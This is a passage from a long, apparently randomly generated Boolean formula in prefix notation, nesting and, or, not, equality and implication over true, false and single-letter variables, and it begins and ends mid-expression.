) ) ) (and (not (= true r ) ) (or (and false w ) (not false ) ) ) ) ) (= (=> (not (or (= b false ) (=> false o ) ) ) (and (or (=> true false ) (and false false ) ) (=> (and z s ) (or false true ) ) ) ) (= (= (and (and b true ) (not w ) ) (not (and a d ) ) ) (and (and (not true ) (not z ) ) (or false (or true (and i p ) ) ) ) ) ) ) (or (=> (or (=> (=> (not false ) (not w ) ) (not (=> false true ) ) ) (= (and (= true true ) (= false true ) ) (not (= l true ) ) ) ) (and (=> (=> (and p false ) (=> d true ) ) (= (= false false ) (and i true ) ) ) (or (and true w ) (or (and false true ) (or (= true true ) (or true d ) ) ) ) ) ) (not (and (and (= (=> c true ) (and true false ) ) (=> (or false u ) (and true q ) ) ) (or (= (= false e ) (and true false ) ) (not (and true false ) ) ) ) ) ) ) ) ) (=> (or (and (and (=> (not (or (= (or (= true true ) (= true x ) ) (not (and false false ) ) ) (not (and (and true d ) (=> n true ) ) ) ) ) (not (= (or (=> false h ) (or (=> false false ) (or (=> true true ) (=> false m ) ) ) ) (and (= (= true false ) (=> false false ) ) (= (not true ) (=> true l ) ) ) ) ) ) (=> (or (not (and (= false q ) (not m ) ) ) (= (=> (or false y ) (not false ) ) (=> (=> true m ) (not e ) ) ) ) (not (= (= (and false a ) (or s p ) ) (or (and h false ) (=> b e ) ) ) ) ) ) (not (and (= (= (= n u ) (= l false ) ) (not (=> b false ) ) ) (= (or true (or false (=> false false ) ) ) (=> (= true j ) (= g false ) ) ) ) ) ) (or (=> (or (not (and (and (or (=> true false ) (and false false ) ) (or w f ) ) (or true true ) ) ) (= (not (and (not false ) (not true ) ) ) (or (= (= false true ) (not true ) ) (= (and false w ) (not true ) ) ) ) ) (= (or (not (=> (not o ) (not d ) ) ) (and (and (and (and false q ) (not true ) ) (not a ) ) (=> u true ) ) ) (=> (not (and (not true ) (not false ) ) ) (=> (= (or true true ) (not false ) ) (=> (or true false ) (not false ) ) ) ) ) ) (= (or (and (or (and false false ) (or (not true ) (= (or z true ) (or false o ) ) ) ) (= (and (not true ) (= false true ) ) (and (and true s ) (or false false ) ) ) ) (= (=> (and (and y true ) (= true true ) ) (=> (or u false ) (=> false true ) ) ) (not (=> (not d ) (not x ) ) ) ) ) (= (or (= (=> (=> false t ) (=> x false ) ) (or (=> true true ) (and false true ) ) ) (or (= false e ) (or (not false ) (not (not i ) ) ) ) ) (=> (= (or (and c u ) (= l true ) ) (and (or false true ) (= true true ) ) ) (and (and (and (=> (or false true ) (and false p ) ) i ) true ) (or false true ) ) ) ) ) ) ) (=> (and (and (and (and (=> (and (and (not (= false true ) ) (or (and j true ) (not false ) ) ) (=> (= (=> o v ) (or false false ) ) (not (=> z o ) ) ) ) (or (= (= (or true false ) (or false s ) ) (not (and true z ) ) ) (= (not (or p j ) ) (= (=> false true ) (= false o ) ) ) ) ) (=> (= (or (and (or h t ) (or true false ) ) (and (=> false false ) (or l a ) ) ) (= (not (=> u false ) ) (=> (= true true ) (and f false ) ) ) ) (or (and (and (or true i ) (or d z ) ) (not (= true f ) ) ) (and (and (not (=> false y ) ) (= i t ) ) (not k ) ) ) ) ) (or (not (=> (=> (= false true ) (or u false ) ) (not (not true ) ) ) ) (= (= (and (or true false ) (or true t ) ) (and (not false ) (= true true ) ) ) (not (= (not true ) (= false b ) ) ) ) ) ) (not (= (= (not z ) (not z ) ) (and (=> false true ) (or false u ) ) ) ) ) (=> (= (=> (not k ) (not true ) ) (=> (=> i y ) (= true true ) ) ) (and (=> (and true false ) (= false false ) ) (=> (=> r false ) (and false true ) ) ) ) ) (or (not (= (=> (or (and x true ) (or b (or true (and (and y k ) (or t true ) ) ) ) ) (or (= (= y true ) (and false true ) ) (and (or o true ) (not false ) ) ) ) (and (or true (or true (or (=> false false ) (or (and false false ) (= false false ) ) ) ) ) (=> (=> (or d false ) (or true false ) ) (and (and true true ) (not false ) ) ) ) ) ) (or (and (and (and (= (= (=> (=> b true ) (=> a a ) ) (= (or s m ) (= true false ) ) ) (not (= (not s ) (and z r ) ) ) ) (= (and (not false ) (or false false ) ) (not (= true true ) ) ) ) (= (not false ) (=> false false ) ) ) (= (= true b ) (=> a true ) ) ) (and (and (not (= (= true false ) (=> false true ) ) ) (or (=> (or o z ) (and false w ) ) (= (=> false false ) (or false true ) ) ) ) (= (not (not (=> true false ) ) ) (or (not (= true c ) ) (and (and (not j ) true ) true ) ) ) ) ) ) ) ) ) (or (not (= (and (and (not (or (not (or (and (not false ) (= true false ) ) (or (not false ) (not d ) ) ) ) (not (not (= (not false ) (and true true ) ) ) ) ) ) (or (not (or (= (= a false ) (and true false ) ) (= (=> true true ) (or k false ) ) ) ) (and (or i (or false (or true (or true (or true (or j (or s t ) ) ) ) ) ) ) (or (=> (= true true ) (= true false ) ) (not (=> false z ) ) ) ) ) ) (= (= (not (or (not c ) (= true false ) ) ) (and (and (and (and (and (= true f ) (not false ) ) true ) true ) true ) false ) ) (not (= (=> (or true i ) (or true l ) ) (not (not j ) ) ) ) ) ) (or (and (or (=> (and (not x ) (not false ) ) (not (=> false false ) ) ) (or (not (=> false false ) ) (or (and true f ) (or false (or true (and (and (or (and (or f false ) (not false ) ) (=> (= false true ) (=> false false ) ) ) (=> (=> true true ) (not q ) ) ) (not (and true false ) ) ) ) ) ) ) ) (or (=> (or (= (not false ) (=> j true ) ) (or (and l v ) (not true ) ) ) (or (=> true true ) (or (and false false ) (= (=> false y ) (=> false true ) ) ) ) ) (and (or (not (and d i ) ) (=> (and true true ) (or true true ) ) ) (not (and (and (=> y a ) n ) true ) ) ) ) ) (or (not (=> (not (=> (and h false ) (and false c ) ) ) (and (or (not c ) (and false false ) ) (or (not false ) (not b ) ) ) ) ) (=> (not (and (and (and (and (not (and true true ) ) false ) true ) w ) false ) ) (=> (and (=> (not a ) (=> v true ) ) (not (=> true true ) ) ) (or (not (and true false ) ) (not (not false ) ) ) ) ) ) ) ) ) (not (not (not (= (not (and (not (=> (or false v ) (=> v n ) ) ) (not (not (=> true true ) ) ) ) ) (or (and (=> (and false z ) (and p false ) ) (=> (and true true ) (not m ) ) ) (or (and (and (not true ) false ) h ) (or (=> (= k c ) (=> true k ) ) (=> (= (= (not true ) (=> true true ) ) (or a (or e (and true true ) ) ) ) (and (or (and false i ) (or false false ) ) (or (and false false ) (and o x ) ) ) ) ) ) ) ) ) ) ) ) ) ) (not (and (and (and (and (= (not (=> (= (not (not (and (=> (=> r false ) (not true ) ) (=> (=> true false ) (= false o ) ) ) ) ) (= (=> (or (not (or m q ) ) (=> (= true false ) (not false ) ) ) (=> (and (or false true ) (= q false ) ) (= (or true false ) (=> true true ) ) ) ) (or (=> (=> (and false false ) (=> true false ) ) (=> (and true g ) (or false e ) ) ) (not (and (not true ) (= true b ) ) ) ) ) ) (=> (and (= (or (= true false ) (or false (or false (or (not true ) (= false false ) ) ) ) ) (=> (= (and g false ) (or false true ) ) (or (=> e v ) (= true true ) ) ) ) (not (= (not (=> false true ) ) (or (=> f b ) (=> false v ) ) ) ) ) (or (=> (= false true ) (or false true ) ) (or (=> (=> v true ) (not false ) ) (or (= (=> (not true ) (=> false s ) ) (and (=> false g ) (= d false ) ) ) (or (and (and (not l ) u ) true ) (or (and (= v false ) (not d ) ) (= (and (and (not w ) f ) f ) (or (and false false ) (= false true ) ) ) ) ) ) ) ) ) ) ) (or (and (= (or (and (or (=> (not w ) (and true h ) ) (or (and true w ) (= p t ) ) ) (or (=> k false ) (or (= j f ) (= (or true r ) (=> false false ) ) ) ) ) (not (=> (and (and (= true true ) false ) false ) (=> (= false a ) (=> true false ) ) ) ) ) (=> (and (= (not (=> g false ) ) (= (and true false ) (= true true ) ) ) (=> (or true (or true (=> true k ) ) ) (= (=> true false ) (= true c ) ) ) ) (or (and (not (=> false false ) ) (or (= false true ) (not true ) ) ) (not (not (or true false ) ) ) ) ) ) (or (not (=> (= (or (and false true ) (not false ) ) (= (= false false ) (not true ) ) ) (or (not (or true true ) ) (= (and false z ) (= s true ) ) ) ) ) (not (or (not (or true (or true (= false true ) ) ) ) (and (and (= true y ) (=> false true ) ) (or (= false p ) (= k false ) ) ) ) ) ) ) (= (=> (or (=> (not (and (=> false false ) (or false true ) ) ) (not (=> (and true true ) (or true false ) ) ) ) (not (or (=> (not false ) (and false false ) ) (and (and (= true true ) true ) true ) ) ) ) (= (= (not (and (= l true ) (= d true ) ) ) (not (=> (=> true false ) (not n ) ) ) ) (or (=> (not (=> false t ) ) (not (= true true ) ) ) (and (not (= true false ) ) (or (=> false false ) (=> true v ) ) ) ) ) ) (and (= (=> (and (and (and (and (= false true ) (or true w ) ) (=> l false ) ) f ) false ) (not (or (= false false ) (and false p ) ) ) ) (=> (not (= (not true ) (not x ) ) ) (and (and (= (or true true ) (not y ) ) (or true true ) ) (= true false ) ) ) ) (or (= (not (=> (=> true true ) (= true true ) ) ) (=> (or (not false ) (= false true ) ) (= (not true ) (= false g ) ) ) ) (not (and (or (=> u true ) (and k true ) ) (or (not false ) (=> true c ) ) ) ) ) ) ) ) ) (= (= (or (= (not (=> (= (= true false ) (= r z ) ) (and (or m true ) (or g true ) ) ) ) (and (= (and (and (and true true ) false ) false ) (and (=> false n ) (or true v ) ) ) (= (= (and i false ) (or true true ) ) (and (and (= false false ) true ) v ) ) ) ) (or (not (=> (=> (and false true ) (= false false ) ) (=> (or false false ) (and h false ) ) ) ) (or (and (=> (or false false ) (not true ) ) (or (=> false true ) (or true false ) ) ) (= (= (= x true ) (or false false ) ) (=> (not true ) (=> t y ) ) ) ) ) ) (and (= (not (not (or (not true ) (=> g true ) ) ) ) (or (=> (= (=> true false ) (or a true ) ) (or (=> false g ) (=> b true ) ) ) (= (and (not j ) (not false ) ) (and (and false b ) (= x true ) ) ) ) ) (or (=> (and (not (and false false ) ) (= (not f ) (not false ) ) ) (= (=> (=> y false ) (= h true ) ) (=> (or q e ) (=> true b ) ) ) ) (not (not (or (=> true t ) (and false true ) ) ) ) ) ) ) (or (=> (= (not (or (and (and (= b l ) false ) false ) (not (= false false ) ) ) ) (=> (not (=> (or false true ) (= true o ) ) ) (=> (=> (and false true ) (=> g true ) ) (=> (=> j true ) (= true false ) ) ) ) ) (not (not (not (and (and c false ) (= f true ) ) ) ) ) ) (not (= (not (not (= (not s ) (= true true ) ) ) ) (not (not (=> (or v true ) (= false w ) ) ) ) ) ) ) ) ) (=> (not (or (=> (= (=> (= c false ) (or s false ) ) (or (and n false ) (=> b true ) ) ) (=> (or (=> g true ) (= o false ) ) (not (not l ) ) ) ) (and (not (or h (or true (and true true ) ) ) ) (not (=> (or false d ) (=> true true ) ) ) ) ) ) (and (and (and (and (= (not (=> w false ) ) (not (not j ) ) ) (or (= w false ) (or k x ) ) ) (not (and false g ) ) ) (=> (not (or (=> false n ) (=> false true ) ) ) (= (or (and z true ) (=> false true ) ) (= (= true false ) (not false ) ) ) ) ) (= (not (= (=> (=> e false ) (= j f ) ) (= (= s false ) (=> o false ) ) ) ) (= (= (or (=> g false ) (and l k ) ) (= (and false false ) (= true a ) ) ) (and (and (=> false false ) (not true ) ) (or (and g r ) (=> h true ) ) ) ) ) ) ) ) (or (= (= (or (not (not false ) ) (and (=> false true ) (= false f ) ) ) (=> (=> (=> true f ) (= true false ) ) (or (=> true v ) (= false true ) ) ) ) (= (= (= (or a true ) (= false false ) ) (=> (not l ) (= q h ) ) ) (not (=> (not o ) (=> true g ) ) ) ) ) (or (not (=> (and (=> (= j true ) (and false b ) ) (or (not false ) (and true false ) ) ) (or (=> (not e ) (or true false ) ) (=> (not false ) (not false ) ) ) ) ) (not (= (or (=> (= (not j ) (= true e ) ) (and (and false d ) (=> false true ) ) ) (and (= (not v ) (not true ) ) (or true (or false (= q false ) ) ) ) ) (or (=> (=> (= g q ) (= true true ) ) (or (=> s true ) (or false false ) ) ) (and (and (=> (or false n ) (=> k true ) ) (=> c false ) ) (not true ) ) ) ) ) ) ) ) (or (= (and (and (= (and (or (not (or (= (or j x ) (=> i true ) ) (or (= false true ) (or l n ) ) ) ) (= (= (=> (and false i ) (=> true false ) ) (not (=> true false ) ) ) (=> (and (and (or f true ) false ) true ) (=> (not true ) (or i false ) ) ) ) ) (not (= (or (=> (and true m ) (and j true ) ) (or (and false r ) (not true ) ) ) (and (= (= o false ) (and true false ) ) (=> (or false true ) (= false false ) ) ) ) ) ) (or (= (=> (=> (not (and i x ) ) (=> (not v ) (= false false ) ) ) (not (= (not true ) (and z y ) ) ) ) (not (and (= (or i false ) (=> true true ) ) (or (and h false ) (and false false ) ) ) ) ) (not (=> (and (not (and true false ) ) (= (not true ) (= true true ) ) ) (or (not (not true ) ) (not (= false a ) ) ) ) ) ) ) (=> (=> (= (=> (=> (and p s ) (= true false ) ) (=> (and s false ) (and f e ) ) ) (= (=> (or false k ) (= false false ) ) (or (=> false e ) (not i ) ) ) ) (= (or (and true true ) (or (= true true ) (=> (= true true ) (not false ) ) ) ) (not (or true (or false (or true o ) ) ) ) ) ) (and (and (and (=> (=> (=> (not true ) (or false true ) ) (and (not q ) (= false false ) ) ) (= (or (=> false b ) (not true ) ) (= (and u v ) (not true ) ) ) ) (=> (= v j ) (not false ) ) ) (=> (or false false ) (or s y ) ) ) (=> (and (and c false ) (= true false ) ) (= (and false j ) (not false ) ) ) ) ) ) (or (not (= (= (= (not r ) (=> s false ) ) (not (not false ) ) ) (= (not (=> a false ) ) (or false (or false (not true ) ) ) ) ) ) (=> (=> (and (not (not false ) ) (=> (not p ) (not false ) ) ) (or (=> true false ) (or (= true false ) (and (and (= f false ) n ) z ) ) ) ) (and (and (= (= k false ) (or false true ) ) (not (= true t ) ) ) (= (and (not true ) (= false x ) ) (not (= t d ) ) ) ) ) ) ) (or (= (and (and (not (=> (not (= k true ) ) (not (not n ) ) ) ) (or (and (and (and j e ) (=> true false ) ) (= (and n false ) (=> true h ) ) ) (=> (and (=> p true ) (= false z ) ) (=> (=> x false ) (=> false g ) ) ) ) ) (= (and (not (or (and true false ) (or f true ) ) ) (=> (=> (=> b true ) (not true ) ) (not (=> true false ) ) ) ) (or (not (or u u ) ) (or (not (and true false ) ) (or (= (=> m true ) (= p true ) ) (= (=> n false ) (=> true true ) ) ) ) ) ) ) (=> (=> (=> (=> (or (= b false ) (and z true ) ) (and (and false v ) (=> false j ) ) ) (not (and (=> q k ) (=> true false ) ) ) ) (=> (= (and (= true false ) (not true ) ) (or (not false ) (=> true false ) ) ) (or (= d true ) (or (= false true ) (and (and (not true ) true ) x ) ) ) ) ) (and (not (=> (and (or m h ) (=> false false ) ) (and (or n l ) (not true ) ) ) ) (=> (= (=> (=> false false ) (= true true ) ) (and (= false true ) (or false d ) ) ) (=> (and (and (and true false ) false ) true ) (and (or false y ) (=> true h ) ) ) ) ) ) ) (or (=> (=> (or (not (=> false g ) ) (or (= false f ) (or (and k b ) (= (or f (or t (=> true false ) ) ) (not (not false ) ) ) ) ) ) (not (not (=> (=> true false ) (and true true ) ) ) ) ) (not (or (=> (or (not true ) (or true false ) ) (and (not false ) (=> true true ) ) ) (or (=> (or q true ) (or z e ) ) (and (not true ) (=> true false ) ) ) ) ) ) (=> (=> (= (not (not (= h false ) ) ) (not (not (= true false ) ) ) ) (=> (=> (not (= true false ) ) (=> (= true true ) (or false true ) ) ) (and (= (= p true ) (not true ) ) (not (=> true z ) ) ) ) ) (not (=> (= (or (not true ) (and true true ) ) (or (=> o false ) (and true g ) ) ) (= (and (= true f ) (= true false ) ) (=> (=> u true ) (not i ) ) ) ) ) ) ) ) ) (or (not (or (=> (or (=> (not w ) (or false false ) ) (=> (=> d b ) (not false ) ) ) (and (and (and (or (=> false n ) (not a ) ) false ) v ) (or b w ) ) ) (and (not (=> (=> u z ) (not true ) ) ) (not (= (not true ) (not false ) ) ) ) ) ) (or (= (and (= (and (or (and false s ) (= false false ) ) (or (=> true x ) (or true u ) ) ) (=> (not (= false c ) ) (not (or false false ) ) ) ) (=> (= (or (and g k ) (or false true ) ) (and (= h f ) (=> false y ) ) ) (=> (= (and false true ) (or p true ) ) (not (= true false ) ) ) ) ) (not (=> (=> (and (= false f ) (= z false ) ) (=> (or false t ) (= false b ) ) ) (=> (= (or y n ) (not i ) ) (and (and (= i n ) true ) false ) ) ) ) ) (or (and (and (and (not (and (not s ) (=> a true ) ) ) (=> (or (and q a ) (=> s x ) ) (and (and (=> u true ) true ) false ) ) ) (or (and (and (and (and (= (not d ) (not true ) ) true ) true ) true ) z ) (not (and (and (not false ) false ) true ) ) ) ) (= (and (not (not (and s x ) ) ) (not (and (=> false false ) (not false ) ) ) ) (=> (or (= (or false false ) (= a true ) ) (or (and false y ) (not h ) ) ) (=> (not (or z m ) ) (and (= r true ) (=> b t ) ) ) ) ) ) (or (and (= (=> (not (not (not o ) ) ) (not (=> (and i false ) (=> true true ) ) ) ) (=> (and (not (or v n ) ) (or false (or true (= s false ) ) ) ) (not (or (=> true false ) (not true ) ) ) ) ) (=> (or (= (or (and false true ) (or false false ) ) (= (=> false true ) (not a ) ) ) (not (and (or true false ) (=> true false ) ) ) ) (and (=> (=> (= l false ) (not v ) ) (or (= g true ) (=> true g ) ) ) (not (and (and d true ) (=> l true ) ) ) ) ) ) (and (= (and (and (and (and (and (not (not (and true true ) ) ) (=> (or false true ) (= true false ) ) ) (= (=> false true ) (not false ) ) ) (=> (=> (= false m ) (and false d ) ) (and (=> l true ) (or false false ) ) ) ) (or (=> true true ) (or false (or false (=> (or j false ) (not false ) ) ) ) ) ) (or (not (and (=> (and true true ) (=> v false ) ) (=> (=> q c ) (or false false ) ) ) ) (and (=> (= (or j false ) (or d true ) ) (or (and a false ) (or false false ) ) ) (not (= (and true true ) (=> false true ) ) ) ) ) ) (= (or (=> (not (=> (or u f ) (or v true ) ) ) (=> (=> (and true false ) (and true true ) ) (and (or false l ) (=> false false ) ) ) ) (not (= (and (or y true ) (=> true k ) ) (not (or false i ) ) ) ) ) (and (not (and (not (= true true ) ) (not (or true false ) ) ) ) (not (= (and (= l e ) (or g false ) ) (= (=> false o ) (not false ) ) ) ) ) ) ) (= (or (and (= (= (= (= f q ) (=> g false ) ) (=> (and i q ) (=> true b ) ) ) (=> (not (and c l ) ) (or (=> true true ) (= true y ) ) ) ) (= (or (=> (and false true ) (or y false ) ) (=> (and k false ) (= true true ) ) ) (and (or (and true c ) (or o false ) ) (= (= false j ) (=> false false ) ) ) ) ) (or (and (=> (or (=> s true ) (or false z ) ) (=> (= true s ) (or false true ) ) ) (or (not (or false z ) ) (or r (or y (and q false ) ) ) ) ) (= (=> (and (and (not false ) k ) false ) (=> (=> m true ) (and true false ) ) ) (not (not (= true i ) ) ) ) ) ) (=> (not (and (= (and (not true ) (=> x false ) ) (and (= d false ) (= false false ) ) ) (=> (and (and false true ) (not true ) ) (and (and true true ) (not false ) ) ) ) ) (and (and (or (= (= (= r true ) (=> true false ) ) (or (not w ) (and false false ) ) ) (= (= (=> k false ) (= false v ) ) (and (and (= true true ) m ) false ) ) ) (or (not (not n ) ) (or (not false ) (=> false u ) ) ) ) (= (=> (not true ) (and false v ) ) (and (and p false ) (not q ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) (not (not (or (= (= (=> (and (and (and (and (=> (and (= (not true ) (and i false ) ) (=> (= true true ) (=> w true ) ) ) (and (not (not true ) ) (not (not false ) ) ) ) (or (not (not (= false false ) ) ) (=> (not (or u k ) ) (not (=> d v ) ) ) ) ) (=> (= (=> (or (=> a i ) (= e true ) ) (and (not t ) (or true false ) ) ) (=> (not (or d true ) ) (=> (=> false z ) (or true l ) ) ) ) (or (and (and (and (and (not t ) (=> true false ) ) (= m false ) ) true ) false ) (or (= (= s true ) (= true false ) ) (=> (and true false ) (not true ) ) ) ) ) ) (not (not (not (=> (and false y ) (and false s ) ) ) ) ) ) (=> (or (= (= true false ) (and t u ) ) (or (=> (= d true ) (not true ) ) (not (and (= true z ) (or true false ) ) ) ) ) (not (= (or false (or true (=> false r ) ) ) (=> (not true ) (and false true ) ) ) ) ) ) (not (and (or (and (=> (not (= false v ) ) (not (= false true ) ) ) (or false (or false (or (and false false ) (not (=> true q ) ) ) ) ) ) (=> (or (not (= true n ) ) (and (not false ) (= true d ) ) ) (=> (=> (and true t ) (or false h ) ) (= (=> true true ) (or false z ) ) ) ) ) (= (or (and (and (not (=> j true ) ) (=> true false ) ) (= true false ) ) (not (=> (not true ) (and f q ) ) ) ) (=> (or (not (= true false ) ) (or (not f ) (or true true ) ) ) (and (and (= (= false false ) (or true true ) ) (or true w ) ) (=> q true ) ) ) ) ) ) ) (not (not (not (=> (=> (=> (and (=> false false ) (or k l ) ) (=> (or true true ) (=> d false ) ) ) (not (= (not o ) (and true true ) ) ) ) (not (=> (not (and true false ) ) (and (and e j ) (or s s ) ) ) ) ) ) ) ) ) (not (= (=> (or (not (=> (= (= (and e a ) (not false ) ) (= (not b ) (not false ) ) ) (=> (not (and n true ) ) (or (and false false ) (and true g ) ) ) ) ) (or (=> (= (= i f ) (or true false ) ) (not (or true false ) ) ) (or (= (or (= false k ) (and t true ) ) (=> (=> false g ) (and false true ) ) ) (= (= (=> (not false ) (= true false ) ) (or (and true true ) (or false true ) ) ) (=> (=> (and r false ) (=> true f ) ) (or (and false false ) (= true true ) ) ) ) ) ) ) (= (or (and (and (and (and (or false (or false (=> false true ) ) ) (= (and true true ) (=> false false ) ) ) (not (= false true ) ) ) (= j l ) ) (not true ) ) (and (= (or (not c ) (= true a ) ) (and (and true false ) (= j false ) ) ) (not (or (= q true ) (and false true ) ) ) ) ) (and (and (=> (= (= false true ) (or true false ) ) (= (=> true k ) (= false true ) ) ) (not (= (not false ) (=> false p ) ) ) ) (or (and (and (not false ) (not j ) ) (not (= true false ) ) ) (= (and (not p ) (=> false true ) ) (= (not true ) (and j c ) ) ) ) ) ) ) (or (=> (not (=> (= (=> (not false ) (or y true ) ) (= (not false ) (not false ) ) ) (= (= (and true true ) (and m j ) ) (not (not false ) ) ) ) ) (= (and (and (not (or (=> true false ) (not u ) ) ) (or (=> false true ) (not false ) ) ) (= (and false false ) (and true false ) ) ) (not (=> (=> (=> i k ) (=> true g ) ) (and (or c g ) (not q ) ) ) ) ) ) (=> (not (not (or (not (= false true ) ) (and (=> false true ) (not true ) ) ) ) ) (=> (=> (or (=> (or e false ) (= k true ) ) (= (= n c ) (not h ) ) ) (=> (= (=> false true ) (= false false ) ) (or (not true ) (=> m n ) ) ) ) (and (or (=> false true ) (or (= true false ) (=> (=> false true ) (or m s ) ) ) ) (not (not (or false c ) ) ) ) ) ) ) ) ) ) (and (or (=> (=> (and (= (not (or (and true x ) (not e ) ) ) (and (not (= false false ) ) (= (= false false ) (or false false ) ) ) ) (not (=> (or false (or false (or l s ) ) ) (or (not true ) (=> s v ) ) ) ) ) (not (= (= (=> (not false ) (or l k ) ) (and (and (and false false ) true ) t ) ) (or (=> (or false c ) (=> true i ) ) (= (= false true ) (not true ) ) ) ) ) ) (=> (or (not (and v true ) ) (or (=> m r ) (or (=> p false ) (or (= (or (not g ) (=> m w ) ) (or (=> true p ) (or false false ) ) ) (= (= (or (not s ) (=> false false ) ) (=> (and true true ) (=> true p ) ) ) (= (not (and true false ) ) (or false (or x (= false g ) ) ) ) ) ) ) ) ) (and (not (=> (= (or true false ) (= y false ) ) (and (= t true ) (= false false ) ) ) ) (= (and (and (and (= (or j true ) (and n true ) ) (or k true ) ) false ) false ) (not (and (or true true ) (= false false ) ) ) ) ) ) ) (or (= (not (=> (or (= (and x q ) (or false v ) ) (not (not true ) ) ) (=> (=> (and false p ) (=> false false ) ) (or (not l ) (and true true ) ) ) ) ) (= (=> (not (and (=> true true ) (=> false h ) ) ) (or (= (and true e ) (not false ) ) (or o (or false (or e false ) ) ) ) ) (=> (= (not (=> b false ) ) (= (=> h w ) (= true false ) ) ) (not (=> (or true k ) (not false ) ) ) ) ) ) (or (= (or (and (or (=> (or true true ) (=> false j ) ) (= (=> x h ) (=> true c ) ) ) (not (=> (= true v ) (= false z ) ) ) ) (=> (= (= (not f ) (not true ) ) (= (or z false ) (not c ) ) ) (or (=> (not false ) (not c ) ) (or (and false true ) (= false true ) ) ) ) ) (= (= (or (= false j ) (or (= true true ) (=> (= false g ) (not false ) ) ) ) (and (not (or false r ) ) (or (and n f ) (not false ) ) ) ) (or (and (not (not k ) ) (=> (= true t ) (and t true ) ) ) (= (and (= true q ) (or false m ) ) (=> (= false true ) (=> false true ) ) ) ) ) ) (and (not (not (=> (= (= (=> (not true ) (or false m ) ) (or (= e g ) (and true j ) ) ) (or (not (or true false ) ) (or (and false g ) (not false ) ) ) ) (= (= (not (or p c ) ) (=> (and true true ) (not b ) ) ) (and (= (not false ) (and s true ) ) (or (= true true ) (=> l g ) ) ) ) ) ) ) (=> (= (not (and (not (not (not true ) ) ) (not (=> (= true true ) (and false true ) ) ) ) ) (= (= (=> (or (=> r false ) (not true ) ) (not (and w true ) ) ) (or (not (=> j false ) ) (= (not false ) (and j g ) ) ) ) (=> (= (= (not true ) (not false ) ) (= (=> n true ) (=> false false ) ) ) (= (or true (or n (=> true false ) ) ) (not (not false ) ) ) ) ) ) (or (= (= (=> (and (or b true ) (=> v u ) ) (and (= true true ) (not true ) ) ) (or (=> (and m false ) (and j false ) ) (=> (and y a ) (not true ) ) ) ) (or (and e false ) (or z (or c (or (= (and true false ) (or false false ) ) (= (= (not o ) (= false false ) ) (and (=> h e ) (=> v false ) ) ) ) ) ) ) ) (= (not (and (= (=> false false ) (or false true ) ) (=> (= s true ) (=> c false ) ) ) ) (= (= (or (and t false ) (or q c ) ) (or true (or f (or false l ) ) ) ) (or (=> (or n true ) (= j true ) ) (and (and n v ) (or false l ) ) ) ) ) ) ) ) ) ) ) (= (and (or (and (and (not (or (=> (or true (or false (not true ) ) ) (=> (or true false ) (=> false h ) ) ) (or (=> (=> true true ) (or a false ) ) (and (and (not true ) true ) false ) ) ) ) (not (not (= (not true ) (= true true ) ) ) ) ) (or (and (and (= (= true true ) (= f true ) ) (=> l false ) ) (not false ) ) (not (not (not true ) ) ) ) ) (not (not (not (= (= (= true b ) (not false ) ) (and (and true x ) (= c r ) ) ) ) ) ) ) (not (= (not (and (=> (not (= false false ) ) (= (= false true ) (=> x true ) ) ) (not (or (=> false true ) (not z ) ) ) ) ) (and (not (and (not (not true ) ) (not (and true false ) ) ) ) (or (not (=> l false ) ) (or (and (or false h ) (not b ) ) (not (and (= false s ) (not true ) ) ) ) ) ) ) ) ) (not (= (= (or (= (= (not false ) (not v ) ) (=> (= t f ) (or false true ) ) ) (or (=> (or (=> e true ) (=> true true ) ) (=> (or false false ) (or false e ) ) ) (and (= (= (=> c true ) (and true g ) ) (not (=> false true ) ) ) (= (or (and false g ) (not true ) ) (=> (or i j ) (= true false ) ) ) ) ) ) (= (not (and (not (=> false true ) ) (= (=> d true ) (or false false ) ) ) ) (not (= (and (and (not false ) true ) false ) (and (= u false ) (= g true ) ) ) ) ) ) (and (= (and (not (not (and true false ) ) ) (= (= (not false ) (=> true i ) ) (=> (not h ) (not n ) ) ) ) (=> (= (=> (= false true ) (= true y ) ) (or true (or false (=> j w ) ) ) ) (or (not (= false t ) ) (or (not true ) (or d q ) ) ) ) ) (not (not (or (not (not false ) ) (not (not v ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) (= (not (= (not (=> (= (or (not (= (=> (or (=> (=> (=> (= k n ) (or z false ) ) (or (=> true false ) (=> true true ) ) ) (or (= (and false false ) (=> e w ) ) (or (= n false ) (=> false r ) ) ) ) (or (=> (=> (= false v ) (not false ) ) (=> (= true false ) (=> false l ) ) ) (and (= (or r true ) (or true true ) ) (=> (and true v ) (and z true ) ) ) ) ) (= (=> (and (=> (and true true ) (and true o ) ) (not (or false true ) ) ) (or (=> (not false ) (= false true ) ) (= (= false true ) (and true z ) ) ) ) (not (and (=> (and true true ) (not t ) ) (not (= b u ) ) ) ) ) ) (=> (and (= (and (and (=> (=> true true ) (= true true ) ) (=> true i ) ) (or true n ) ) (or (=> j false ) (or (and w false ) (and (=> false l ) (or false z ) ) ) ) ) (not (not (and (and m true ) (=> g true ) ) ) ) ) (not (not (or (=> (= true false ) (not false ) ) (= (= f false ) (and u true ) ) ) ) ) ) ) ) (=> (and (not (and (and (and (and (= (or false l ) (or false g ) ) (= (not g ) (not true ) ) ) (not (and t true ) ) ) (=> (not false ) (= false false ) ) ) (or (= (= (not false ) (and false g ) ) (= (=> true false ) (and t e ) ) ) (not (=> (or false m ) (and w m ) ) ) ) ) ) (or (=> (=> (=> (and (= false q ) (= i false ) ) (not (= true true ) ) ) (=> (and (=> true v ) (or true false ) ) (= (=> false false ) (not t ) ) ) ) (=> (=> (not (not false ) ) (= (= d r ) (and false true ) ) ) (or (and (=> false z ) (=> false true ) ) (= (or true true ) (= true true ) ) ) ) ) (= (or (=> (and (=> false false ) (=> true v ) ) (or (not false ) (= false true ) ) ) (and (= (or true false ) (or true false ) ) (=> (not false ) (and g true ) ) ) ) (not (=> (or (=> y false ) (and true f ) ) (=> (= true false ) (not true ) ) ) ) ) ) ) (=> (and (not (=> (= (=> (or w false ) (or true false ) ) (= (and false v ) (and false s ) ) ) (=> (and (=> false true ) (=> p f ) ) (or true (or false (not true ) ) ) ) ) ) (=> (not (= (not (or false false ) ) (= (= false b ) (= false c ) ) ) ) (and (not (=> (or n true ) (or true false ) ) ) (not (=> (= z true ) (not z ) ) ) ) ) ) (not (not (and (and (and (and (and (or (and true true ) (or false f ) ) q ) false ) z ) true ) (=> (and (or false false ) (not false ) ) (or m (or false (= o true ) ) ) ) ) ) ) ) ) ) (= (=> (=> (and (and (not (and (or (and a true ) (=> true true ) ) (not (=> false true ) ) ) ) (not (= (and (not true ) (not false ) ) (= (and g true ) (=> d true ) ) ) ) ) (not (or (= (not 